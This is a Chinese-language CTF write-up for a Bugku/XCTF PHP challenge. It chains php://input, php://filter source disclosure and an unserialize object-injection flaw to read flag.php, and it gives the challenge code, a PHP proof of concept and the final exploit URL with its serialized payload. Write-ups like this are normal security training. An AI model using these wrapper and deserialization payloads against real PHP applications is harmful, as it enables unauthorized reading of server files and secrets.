xctf一道反序列化题

时间:2023-03-09 18:47:10
xctf一道反序列化题

题目地址:http://120.24.86.145:8006/test1/

右键get源码:

 <?php
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}

刚开始我是远程在我服务器上写一个txt内容为"welcome to the bugkuctf"但是测试了好像是不行。既然不行又可写入数据的那就联想到了php伪协议当中的php://input

xctf一道反序列化题

再回去看最开始的代码。如下第十行

xctf一道反序列化题

是一个包含函数,也可以使用伪协议那就使用filter去读取当中文件吧。那就读取hint.php试试

xctf一道反序列化题

BASE64解密得到如下代码:

 <?php  

 class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

很明显是一个反序列化读取的漏洞。但是好像没有可控的参数。但是有提示一个flag.php

然后直接构造去读取flag.php

xctf一道反序列化题

然后继续尝试读取index.php

index.php代码如下:

 <?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
} ?> <!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

由上代码可知:

  1. file参数当中不允许出现flag
  2. 12-13行代码中可以看出。password可控.

整体思路就有了,那就是通过这个反序列化漏洞去读取flag.php

于是乎构造这个反序列化漏洞的POC如下:

 <?php
class Flag{
public $file="php://filter/convert.base64-encode/resource=flag.php";
public function __tostruct(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
}
}
$o = new Flag();
echo serialize($o);

第三行的时候我直接填写flag.php。又在此处被坑。

原因如下:

  1. 在刚才index.php代码中说file参数不能有flag,最后尝试才知道要读取flag。file还不能使用伪协议。既然不能用就没办法读取flag.php了,所以这个反序列化就要跟上伪协议,才能读取出flag.php

file参数不能为flag.php那就去尝试,最后尝试得出file参数为hint.php加上password参数的payload就可以getflag

xctf一道反序列化题

依旧是base64加密的解密一下就好了。

最后还是把payload发出来吧。

http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}